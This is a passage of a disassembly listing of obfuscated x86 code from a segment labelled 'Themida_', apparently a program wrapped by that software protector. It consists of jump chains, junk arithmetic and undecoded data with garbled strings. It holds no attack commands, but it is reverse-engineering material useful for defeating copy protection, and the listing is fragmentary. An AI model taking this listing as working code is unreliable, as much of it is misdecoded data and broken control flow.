		sub	bl, dl
		pop	dx
		jmp	loc_54079C
; ---------------------------------------------------------------------------
		dw 0EEC0h
		dd 3960E902h, 0EB810000h, 52615C6Ch, 0B850C329h, 52615C6Ch
		dd 0E958C301h, 44DCh
; ---------------------------------------------------------------------------

loc_53CD5C:				; CODE XREF: Themida_:0053DC76j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_537502
; ---------------------------------------------------------------------------
		dw 0F729h
aSm6		db '^ém6',0
		align 2
		dw 0C589h
		dd 8BF58158h, 8108E74Ah, 0F2FEBCC5h, 0E9EF8933h, 0FFFFBBFDh
		dd 0E9242C89h, 468Ch, 5604C483h, 2AC268h, 74015E62h, 0E95E0424h
		dd 1A22h
; ---------------------------------------------------------------------------

loc_53CDAC:				; CODE XREF: Themida_:00540C1Cj
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5381DA
; ---------------------------------------------------------------------------
		dd 0F910A105h, 7E0C17Dh, 2742FC2Dh, 58C60194h, 0BFFDE950h
		dd 8143FFFFh, 447906E3h, 7CEB813Fh, 89DE48E7h, 0F5815BDDh
		dd 749926BEh, 0AD8ED81h, 0EA011F35h, 8BD0015Dh,	0C4812414h
		dd 4, 5004C083h, 0FFDF98E9h, 241489FFh,	0FE52A8B2h, 865A240Ch
		dd 30CDFEEAh, 30D530EAh, 7EAC0EAh, 40BC280h, 2CD0000Ch
		dd 0EDCFE90Ch, 0DBF7FFFFh, 0E381DBF7h, 79B2131Dh, 2746E9h
		dd 0E9535600h, 0FFFFD55Dh
; ---------------------------------------------------------------------------

loc_53CE48:				; CODE XREF: Themida_:005410FAj
		mov	edi, 4D1022B7h
		shl	edi, 8
		push	1924h
		jmp	loc_5361DA
; ---------------------------------------------------------------------------
word_53CE5A	dw 8F64h		; DATA XREF: Themida_:0053513Co
		dd 8501E902h, 0E95EFFFFh, 0FFFFC81Eh, 451D4EBEh, 0E9C60114h
		dd 0FFFFCAC8h, 4BDh, 5DEA0100h,	0E9241487h, 0FFFF9249h
		dd 8904EC83h, 0B7BB241Ch, 81156E37h, 0E90A82CBh, 0B67DE952h
		db 2 dup(0FFh)
word_53CE9A	dw 8B66h		; DATA XREF: Themida_:005350B0o
		dd 57562404h, 3E9E789h,	81FFFFE0h, 201A6EC7h, 5FFE019Dh
		dd 7A57BD55h, 0E5810352h, 34A112ECh, 0EDBEC581h, 0B850FFFFh
		dd 0CD4038Bh, 0DB182005h, 0E9C62962h, 0FFFF8F45h, 508EEB80h
		dd 0AEE9CBB4h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CEDF:				; CODE XREF: Themida_:005384E9j
		add	ebp, 291C5C55h
		jmp	loc_53EDEF
; ---------------------------------------------------------------------------
		dw 805h
		dd 833DC44Bh, 0C8904ECh, 1FBB5324h, 8144D534h, 0D5321FEBh
		dd 0B08CE944h, 0C331FFFFh, 0E9008F66h, 0FFFF8453h, 81D6015Bh
		dd 0E21320C6h, 2434FF10h, 4C4815Ah, 0E9000000h,	30Dh, 80FFC480h
		dd 7BE945ECh, 83FFFFE9h, 3C8704C7h, 0BE565C24h,	4, 348BF501h
		dd 4C48124h, 68000000h,	556Bh, 68240C89h, 2, 59CD0159h
		dd 8B242C87h, 10E92424h, 31FFFFEBh, 34332434h, 8B665C24h
		dd 71682404h, 89000042h, 8FE9241Ch
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_53CF7F:				; CODE XREF: Themida_:005406F3j
		shr	esi, 3
		sub	esi, 0E6F48DFh
		add	ebp, 39FA4D70h
		add	ebp, esi
		sub	ebp, 39FA4D70h
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_53E053
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 58h
		dd 53271775h, 0CD0EC9BBh, 3CE94B6Fh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53CFBB:				; CODE XREF: Themida_:00537C93j
					; Themida_:0053E89Ej
		push	3CEEh
		mov	[esp], ebx
		push	esi
		mov	esi, 5FF77DEFh
		jmp	loc_53630A
; ---------------------------------------------------------------------------

loc_53CFCE:				; CODE XREF: Themida_:0053E224j
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, 77687B2Fh
		jmp	loc_54150F
; ---------------------------------------------------------------------------

loc_53CFDD:				; CODE XREF: Themida_:0053DCB8j
		mov	edi, 264C5B3Ch
		or	edi, 11966691h
		sub	edi, 5A35095Eh
		inc	edi
		jmp	loc_53B0FB
; ---------------------------------------------------------------------------

loc_53CFF4:				; CODE XREF: Themida_:0053F868j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_53688C
; ---------------------------------------------------------------------------
		dd 815DEE21h, 0A5B6F2EEh, 3DC0E9C3h, 2C8B0000h,	4C48324h
		dd 0CFF1E957h, 0DDF7FFFFh, 61C581h, 0EC83564Fh,	0F0DEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D02A:				; CODE XREF: Themida_:0053EAA0j
		pop	edx
		sub	bl, 0E0h
		jmp	loc_53BBAA
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 0E95EF001h, 3124h, 0AFE94893h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D047:				; CODE XREF: Themida_:00540216j
		inc	edi
		add	edi, 2DF41230h
		add	ebp, edi
		pop	edi
		add	esi, 334006D0h
		sub	esi, ebp
		sub	esi, 334006D0h
		pop	ebp
		jmp	loc_53560A
; ---------------------------------------------------------------------------

loc_53D065:				; CODE XREF: Themida_:00537F8Dj
		mov	[esp], ebp
		push	ecx
		mov	ecx, 19EC6C0Ah
		jmp	loc_5366F8
; ---------------------------------------------------------------------------
aRCm1sCsoe	db '½r[—m1è]—éOE',0
		dd 165D6800h, 3C890000h, 0F4EAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D08E:				; CODE XREF: Themida_:0053DD49j
		push	7619h
		mov	[esp], ecx
		mov	ecx, 2000000h
		push	ecx
		jmp	loc_53DBC6
; ---------------------------------------------------------------------------
		db 5Ah,	53h, 0E9h
		dd 0FFFF84AFh, 81E78957h, 4C7h,	2C78100h, 87000000h, 0E95C243Ch
		dd 0FFFFE0A2h, 0C681E689h, 4, 438FE9h
		db 0
; ---------------------------------------------------------------------------

loc_53D0CD:				; CODE XREF: Themida_:0053B387j
		add	ebx, edi
		add	ebx, 38D30E9Bh
		mov	[ebx], edx
		jmp	loc_53DA89
; ---------------------------------------------------------------------------
		dd 582434FFh, 8304C483h, 44E904E9h, 5FFFFC6h, 3E157DECh
		dd 0FFF298E9h, 0C875FFFh, 24248B24h, 4C481h, 81680000h
		dd 89000036h, 0EC83243Ch, 0C684E904h, 0F8B8FFFFh, 40341C48h
		dd 4497E9h, 0FE840F00h,	68FFFFE9h, 0EF9h, 5404EC83h, 8124048Fh
		dd 42404h, 48F0000h, 0FF43E924h, 0FF57FFFFh, 8B042474h
		dd 0C483243Ch, 9794E904h, 0E951FFFFh, 0FFFFB038h, 0E904E883h
		dd 1BFBh, 81243C8Bh, 4C4h, 4C78100h, 81000000h,	4ECh, 24148900h
		dd 2BAh, 0F9B3E900h, 5C68FFFFh,	89000013h, 0D8E9240Ch
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D18B:				; CODE XREF: Themida_:0053A7BFj
		pop	esp
		jmp	loc_536132
; ---------------------------------------------------------------------------

loc_53D191:				; CODE XREF: Themida_:0053D46Fj
		add	eax, edx
		pop	edx
		mov	edi, [esp]
		jmp	loc_538AB7
; ---------------------------------------------------------------------------

loc_53D19C:				; CODE XREF: Themida_:00539C6Cj
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5412A9
; ---------------------------------------------------------------------------

loc_53D1B3:				; CODE XREF: Themida_:0053F507j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	70F9h
		jmp	loc_53BEC6
; ---------------------------------------------------------------------------
		dd 794FE681h, 0EC83297Bh, 24148904h, 0FFE9B5E9h, 0BFF281FFh
		dd 0E9B9E933h, 4351h
dword_53D1E0	dd 582434FFh, 8904EC83h, 0E189240Ch, 4C181h, 89520000h
					; DATA XREF: Themida_:00535134o
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 0FFCC9FE9h, 24148BFFh
		dd 2C04C483h, 0E2895237h, 0FFD20AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D219:				; CODE XREF: Themida_:00540204j
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_535980
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 2
		dd 108EE9h, 6EE95800h, 83FFFFE3h, 1C8904ECh, 565B5424h
		dd 0FFEC33E9h, 34315CFFh, 24343324h, 0E9243431h, 0FFFF8103h
		dd 4BBh, 0E9DE0100h, 3C7Ch, 1F0851BAh, 55F2814Dh, 564D1F08h
		dd 9456853h, 0E95B373Eh, 30FCh,	81240C8Bh, 4ECh, 24048900h
		dd 0CAE95854h, 0BA00001Ch, 17B27638h, 6B46BE56h, 0EEC12BABh
		dd 0B6C68106h, 0C1064F50h, 0F68102E6h, 0E2A3831h, 0FFDB63E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D2B9:				; CODE XREF: Themida_:0053EBF3j
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_53F44F
; ---------------------------------------------------------------------------

loc_53D2CE:				; CODE XREF: Themida_:0053A0FCj
		push	edx
		mov	edx, 0
		sub	edx, edi
		xchg	edx, edi
		pop	edx
		xor	edi, 595859F3h
		jmp	loc_5380C4
; ---------------------------------------------------------------------------
		dd 6A0ABD55h, 1FE90C1Ah, 66FFFFF6h, 39CC581h, 24C58166h
		dd 0E8016683h, 83242C8Bh, 556604C4h, 31068h, 9D64E900h
		dd 0EC81FFFFh, 4, 0FFDA66E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D319:				; CODE XREF: Themida_:0053EC3Dj
		shr	edi, 5
		dec	edi
		sub	edi, 0CA184BFDh
		jmp	loc_5399F0
; ---------------------------------------------------------------------------
		dd 57D2C381h, 0C3814D02h, 3FD82EB1h, 0EC77E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D33A:				; CODE XREF: Themida_:0053DA20j
		pop	esp
		jmp	loc_537D99
; ---------------------------------------------------------------------------
		dd 575BBB53h, 9EE97C89h, 5B00001Ah, 4C481h, 0C2010000h
		dd 0FFDAA6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D359:				; CODE XREF: Themida_:0053E057j
		mov	esp, [esp]
		jmp	loc_535363
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 57h
		dd 2961DAC3h, 0F8315AD7h, 83243C8Bh, 0D4E904C4h, 0F6000014h
		dd 8EBC0D3h, 0FFE1DEE9h, 4C481FFh, 56000000h, 930E9h, 5AD02900h
		dd 48BC601h, 4C48124h, 33000000h, 34312434h, 24343324h
		dd 2129685Ch, 0DCE90000h
		db 3Ah,	2 dup(0)
byte_53D3AF	db 0ADh			; DATA XREF: Themida_:0053518Co
		dd 8904EC83h, 15BE2434h, 297BC705h, 5A055EF0h, 568C74Eh
		dd 6A2D7C02h, 25E9D829h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D3CF:				; CODE XREF: Themida_:0053D4FBj
		xor	ecx, 5D1905A0h
		jmp	loc_5394AC
; ---------------------------------------------------------------------------
word_53D3DA	dw 77FFh		; DATA XREF: Themida_:00535110o
		dd 58669D1Ch, 24041166h, 7F79E99Ch
		db 2 dup(0FFh)
word_53D3EA	dw 34FFh		; DATA XREF: Themida_:00535140o
		dd 0FE92E924h, 0C681FFFFh, 0DBE6FD8Ah, 0FFB17CE9h, 242C81FFh
		dd 645B6D20h, 1F1CE958h, 0B7530000h, 2CE7808Eh,	8022E780h
		dd 8DE980C7h
		db 31h,	2 dup(0)
byte_53D41B	db 68h			; DATA XREF: Themida_:005350D0o
		dd 73EDh, 0FFE88EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D425:				; CODE XREF: Themida_:0053F18Ej
		mov	ah, 98h
		jmp	loc_53C2A0
; ---------------------------------------------------------------------------
		dd 243C8B5Eh, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 4EC81h
		dd 2C890000h, 74F6BD24h, 0BB531E6Bh, 109E5B72h,	0F7AE9h
		db 0
; ---------------------------------------------------------------------------

loc_53D459:				; CODE XREF: Themida_:0053FEA9j
		add	eax, edi
		pop	edi
		push	edi
		mov	edi, 6EAF77F2h
		sub	eax, 21D67833h
		add	eax, edi
		push	edx
		mov	edx, 21D67833h
		jmp	loc_53D191
; ---------------------------------------------------------------------------
		dd 0FF7EEAE9h, 9ACB81FFh, 81232660h, 9B2F28F3h,	0D9B95120h
		dd 290AE703h, 0D92959CBh, 5451565Bh, 0EC21E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D49A:				; CODE XREF: Themida_:00536D98j
		mov	edi, esp
		add	edi, 4
		jmp	loc_538B2B
; ---------------------------------------------------------------------------
		db 89h
		dd 34FF243Ch, 89535A24h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 1C54E9h, 5EF03100h, 62E9F831h, 81FFFFE0h, 4ECh, 243C8900h
		dd 311CE9h, 0C1315B00h,	147E9h,	0A52C00h, 51A504D8h, 0F58050B5h
		dd 0E120E96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D4F6:				; CODE XREF: Themida_:0053718Fj
		mov	ecx, 4204544h
		jmp	loc_53D3CF
; ---------------------------------------------------------------------------

loc_53D500:				; CODE XREF: Themida_:0053E70Ej
		push	eax
		push	esp
		jmp	loc_53EDDB
; ---------------------------------------------------------------------------
		db 2Ch
		dd 24148BC4h, 8904EC83h, 0E2892414h, 4BF57h, 0FA010000h
		dd 235E95Fh, 0E1890000h, 0FFB160E9h, 3B05BAFFh,	0C2813664h
		dd 743362C2h, 8107EAC1h, 0B5375BCAh, 8EE28131h,	0F738170Ah
		dd 0C817E9DAh, 515DFFFFh, 0FFDC60E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D551:				; CODE XREF: Themida_:0053728Bj
		mov	[esp], edi
		push	0B54h
		mov	[esp], esp
		push	eax
		push	4
		pop	eax
		add	[esp+4], eax
		pop	eax
		pop	edi
		push	ebx
		mov	ebx, 7F800326h
		dec	ebx
		shr	ebx, 4
		jmp	loc_53A687
; ---------------------------------------------------------------------------
		dd 0D22CD028h, 5124148Bh, 0C181E189h, 4, 8704C183h, 515C240Ch
		dd 8270E952h, 0DA31FFFFh, 894DE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D59E:				; CODE XREF: Themida_:00537D9Cj
		mov	edi, 21E02F02h
		sub	esi, 26AA7523h
		add	esi, 163F228Ah
		sub	esi, edi
		sub	esi, 163F228Ah
		jmp	loc_535C30
; ---------------------------------------------------------------------------
		dd 0FF24248Bh, 48B2434h, 7DE95024h, 89FFFFA9h, 3C8B2434h
		dd 24D66824h, 4890000h,	81E08924h, 4ECh, 243C8900h, 4814D7BFh
		dd 0CBC78121h, 81547465h, 0C5CD5EFh, 62CF814Ch,	0D1324F6Ah
		dd 7EFC1E7h, 0FFEA03E9h, 77C380FFh, 0FFF5B0E9h
		db 0FFh
byte_53D60D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00535170o
aPs		db '$Pé[/',0
		dw 5F00h
		dd 815AD501h, 4C5h, 74FF5500h, 0E95D0424h, 0FFFFB62Ah
		dd 8124048Bh, 4C4h, 59CD0100h, 4ED81h, 0AE90000h, 8BFFFFABh
		dd 89662424h, 0A5B1240Ch, 25B8E952h, 0C1450000h, 814D08EDh
		dd 61196CDh, 36BE5610h,	3151DA00h, 81E95EF5h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D66B:				; CODE XREF: Themida_:0053715Aj
		mov	edx, esp
		add	edx, 4
		jmp	loc_53E21B
; ---------------------------------------------------------------------------

loc_53D678:				; CODE XREF: Themida_:005362E5j
		add	bl, ch
		jmp	loc_53AD2E
; ---------------------------------------------------------------------------
a6aZ		db 'µ6€Å‡',0
		db 0E8h, 59h, 0E9h
		dd 0FFFFE2BFh
dword_53D68C	dd 92E956ADh, 87FFFFE9h, 7E9242Ch ; DATA XREF: Themida_:00535088o
		db 86h,	2 dup(0FFh)
byte_53D69B	db 0ADh			; DATA XREF: Themida_:00535258o
		dd 0FE87E952h, 0E950FFFFh, 0FFFFA4FEh, 142768h,	24148900h
		dd 0FF9C58E9h, 2474FFFFh, 48F5B04h, 4895C24h, 48B5424h
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 3C5EE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53D6DA:				; CODE XREF: Themida_:00536FF3j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_541538
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5D042474h, 8B24048Fh, 4202424h, 6CE99C24h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D6F7:				; CODE XREF: Themida_:0053A3CDj
		mov	al, 0E4h
		sub	bl, al
		pop	ax
		push	small 7993h
		mov	[esp], cx
		push	7790h
		mov	[esp], eax
		mov	ah, 0B5h
		shr	ah, 5
		shl	ah, 2
		jmp	loc_539132
; ---------------------------------------------------------------------------
		dw 8735h
		dd 5068A14Fh, 0CA240481h, 5A0A2775h, 75CAEA81h,	56580A27h
		dd 4F22BA52h, 0CABE3CABh, 813A0D04h, 0A1048DEEh, 81D60106h
		dd 0A1048DC6h, 0C6815A06h, 144081DBh, 86E9F201h, 83FFFFE8h
		dd 143304C2h, 24143124h, 8B241433h, 68662424h, 89665661h
		dd 0B0502414h, 3C30E9E2h, 0E1890000h, 4BD55h, 0E9810000h
		dd 401C578Fh, 4C8AC181h, 0E9013465h, 4C8AE981h,	0C1813465h
		dd 401C578Fh, 81242C8Bh, 4ECh, 240C8900h, 0C181E189h, 4
		dd 0FFC469E9h, 0E9C501FFh, 0FFFF975Fh
dword_53D7B8	dd 24048B66h, 1D2768h, 0FCFE900h ; DATA	XREF: Themida_:005351F8o
		db 2 dup(0)
word_53D7C6	dw 77FFh		; DATA XREF: Themida_:00535224o
		dd 58669D1Ch, 9C240410h, 0FF7B8EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D7D5:				; CODE XREF: Themida_:00536F4Cj
		add	edi, 0CA16FA9Ah
		add	ecx, edi
		pop	edi
		not	ecx
		xor	ecx, 0D8B0692h
		sub	ecx, 5991D2DFh
		add	ebp, 32B85681h
		add	ebp, ecx
		sub	ebp, 32B85681h
		pop	ecx
		jmp	loc_538410
; ---------------------------------------------------------------------------
		dd 3DEDC281h, 0FA011E9Fh, 3DEDEA81h, 0E95F1E9Fh, 0FFFFDE8Ah
		dd 25660D5Bh, 0F4057C34h, 2D19450Bh, 6E01388Eh,	2958C229h
		dd 64C281C2h, 562B4349h, 0FFF2E9E9h, 4C781FFh, 50000000h
		dd 0DF7E9h
		db 0
; ---------------------------------------------------------------------------

loc_53D841:				; CODE XREF: Themida_:0053E18Ej
		push	47Ch
		mov	[esp], ebp
		jmp	loc_539DE0
; ---------------------------------------------------------------------------
word_53D84E	dw 8B66h		; DATA XREF: Themida_:005351A0o
		dd 8150240Ch, 4ECh, 24248900h, 4BD55h, 6C010000h, 585D0424h
		dd 0FFA653E9h, 64B0BDFFh, 0EE93082h
		db 0B1h, 2 dup(0FFh)
byte_53D877	db 66h			; DATA XREF: Themida_:0053515Co
		dd 5224048Bh, 5404EC83h, 5124048Fh, 468h, 0A183E900h, 0C15DFFFFh
		dd 0E58105EDh, 37A3CEBh, 5ED81h, 0EE89024Ah, 8BF3015Dh
		dd 0C4812434h, 4, 2BD55h, 0B4E90000h, 5EFFFFAFh, 4C681h
		dd 7FE90000h, 0E9FFFFF3h, 0FFFF7A9Bh, 865AF588h, 86D0F6C5h
		dd 0EDED80C5h, 2CE6ED80h, 28ED04EFh, 66ED2CE8h,	7E3F6852h
		dd 1C890000h, 0E9EFB724h, 31CCh, 4C781h, 46E90000h, 81FFFFF5h
		dd 0E84161F7h, 0E9FB019Bh, 0FFFFAF80h
; ---------------------------------------------------------------------------

loc_53D908:				; CODE XREF: Themida_:00538D73j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_538642
; ---------------------------------------------------------------------------
		dd 2BDh, 5DEE0100h, 31243433h, 0E7E92434h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D94B:				; CODE XREF: Themida_:0053CA5Ej
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 1D167724h
		neg	ebx
		xor	ebx, 0E2E988D8h
		add	eax, ebx
		jmp	loc_53D9F2
; ---------------------------------------------------------------------------
		db 0BDh
		dd 286B1239h, 9EEFE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D97E:				; CODE XREF: Themida_:0053E481j
		mov	[esp], edi
		mov	edi, 31CA6B2Bh
		push	edx
		mov	edx, 4A647F0Eh
		xor	edx, 495411DAh
		xor	edx, 2D8559FDh
		add	edi, edx
		jmp	loc_53C8C4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 66502414h, 66708568h, 0E0D16658h,	0CB7E2D66h
		dd 32FB6851h, 34890000h, 0C6896624h, 0F0896650h, 58C18966h
		dd 0FF8365E9h, 4C483FFh, 0D2E9C629h, 68FFFF91h,	6F7Ah
		dd 0FFAAAAE9h, 81F301FFh, 70025DEBh, 1C875E4Eh,	0CC56E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D9F2:				; CODE XREF: Themida_:0053D96Ej
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		pop	edi
		mov	edx, edi
		pop	edi
		jmp	loc_535363
; ---------------------------------------------------------------------------

loc_53DA07:				; CODE XREF: Themida_:005370D3j
		add	dword ptr [esp], 7E8632A0h
		jmp	loc_536696
; ---------------------------------------------------------------------------

loc_53DA13:				; CODE XREF: Themida_:0053E633j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_53D33A
; ---------------------------------------------------------------------------
		db 4Bh,	0E9h, 7Eh
		dd 56000012h, 866762BEh, 5EF58923h, 0E581D5F7h,	152C3EC1h
		dd 4EC81h, 1AE90000h, 81FFFFBDh, 4C4h, 42E95500h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DA53:				; CODE XREF: Themida_:00536148j
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 75093B96h
		add	esi, ebp
		sub	esi, 75093B96h
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_53AB24
; ---------------------------------------------------------------------------
		dd 8704EF83h, 248B243Ch, 241C8924h, 0FF896CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53DA89:				; CODE XREF: Themida_:0053D0D7j
		pop	ebx
		jmp	loc_53E553
; ---------------------------------------------------------------------------
		db 0BDh
		dd 1AAB0A2Ch, 4246C81h,	5C063FC0h, 4246C01h, 4244481h
		dd 5C063FC0h, 8B2434FFh, 0C481242Ch, 4,	0FFF2DFE9h, 2434FFFFh
		dd 2748E9h
		db 0
byte_53DAC1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00535240o
		dd 0E6895624h, 7A20E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DACE:				; CODE XREF: Themida_:00538E05j
		push	eax
		sub	esp, 4
		jmp	loc_53719D
; ---------------------------------------------------------------------------

loc_53DADA:				; CODE XREF: Themida_:00539CA3j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_53739F
; ---------------------------------------------------------------------------
aNqPrfds	db '­Q¹¯rädé',0         ; DATA XREF: Themida_:005352D4o
		db 1Dh
		dd 0C7810000h, 2, 31243C33h, 3C33243Ch,	0A18AE924h, 0BE0FFFFFh
		dd 58E568C8h, 0C890000h, 7845E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DB1E:				; CODE XREF: Themida_:00540BC7j
		mov	ebx, 5573AA3h
		xor	ebx, 34CC4593h
		shl	ebx, 3
		xor	ebx, 0BE52CD15h
		add	eax, ebx
		pop	ebx
		jmp	loc_53DBED
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 44EB6BB1h, 0FFE959E9h, 0D5F745FFh, 94C5814Dh, 815C2475h
		dd 5CE5D5EDh, 0E80DE90Fh, 8166FFFFh, 4F04246Ch,	6C016625h
		dd 81660424h, 4F042444h, 665D6625h, 81242C8Bh, 2C4h, 77E5E900h
		dd 68FFFFh, 29000000h, 505E2434h, 8828E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DB8E:				; CODE XREF: Themida_:00538B8Cj
		mov	[esp], cx
		jmp	loc_538EDF
; ---------------------------------------------------------------------------

loc_53DB97:				; CODE XREF: Themida_:0053E1CDj
		add	ebp, 699F4E62h
		sub	eax, ebp
		pop	ebp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_53AB82
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 8D38E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DBC6:				; CODE XREF: Themida_:0053D09Cj
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_53E0F3
; ---------------------------------------------------------------------------
		dw 487h
		dd 3C875C24h, 0EC815C24h, 4, 68241C89h,	1E92h, 110DE9h
		db 0
; ---------------------------------------------------------------------------

loc_53DBED:				; CODE XREF: Themida_:0053DB35j
		add	eax, 606E69B5h
		sub	eax, ebp
		sub	eax, 606E69B5h
		sub	eax, 32893495h
		mov	ebp, [esp]
		jmp	loc_53E2A5
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 51DAF707h, 5C1BE4B9h, 0D6C3E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DC16:				; CODE XREF: Themida_:0053B910j
		push	106Dh
		mov	[esp], ebp
		push	900h
		mov	[esp], ebx
		push	esi
		push	17052Ah
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 58DB2714h
		and	edi, 390078F5h
		shl	edi, 3
		jmp	loc_537D21
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 66h
		dd 5773453Dh, 5F240CFFh, 5D26F781h, 88E92EADh, 2DFFFFB8h
		dd 65F46DB5h, 0AE9D829h, 50FFFFBEh, 5EE9E089h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DC73:				; CODE XREF: Themida_:00540740j
		mov	[esp], ebx
		jmp	loc_53CD5C
; ---------------------------------------------------------------------------
byte_53DC7B	db 0FFh			; DATA XREF: Themida_:005351E8o
		dd 0E0E92C77h, 83FFFF76h, 48904ECh, 2474FF24h, 24048B04h
		dd 53E28952h, 0EC43E0BBh, 0DDF3812Eh, 0E9611956h, 201Dh
		dd 8BEC8858h, 41E9240Ch, 1000015h, 0E53FE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DCB6:				; CODE XREF: Themida_:0054138Ej
		push	esi
		push	edi
		jmp	loc_53CFDD
; ---------------------------------------------------------------------------
aTrJbRnXsk	db '¾’RÐjÆr­/•éŠ(',0
		dd 28E9B500h, 240C8BE8h, 5204C483h, 0EEC013B6h,	0B5516604h
		dd 66EE0061h, 0E9F00059h, 0FFFFD6AAh, 8103EEC1h, 0B7871EF6h
		dd 5EF0017Fh, 8324148Bh, 0C38104C4h, 3B4A417Eh,	643BC381h
		dd 0ABE903A2h, 0FFFFFF88h, 83582434h, 1C8904ECh, 92A5E924h
		db 2 dup(0FFh)
word_53DD1E	dw 77FFh		; DATA XREF: Themida_:005351C8o
		dd 59669D1Ch, 241CD366h, 7635E99Ch, 0C781FFFFh,	4, 0FF7DCAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53DD39:				; CODE XREF: Themida_:00535D85j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_536C23
; ---------------------------------------------------------------------------

loc_53DD46:				; CODE XREF: Themida_:0053755Cj
		mov	[esp], edx
		jmp	loc_53D08E
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 4E9835Ah, 5C240C87h,	89241489h, 0C4D4E9FAh, 0E953FFFFh
		dd 0FFFFE6C4h, 0E9240433h, 0FFFFDEDCh
; ---------------------------------------------------------------------------

loc_53DD70:				; CODE XREF: Themida_:00538574j
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_53778E
; ---------------------------------------------------------------------------
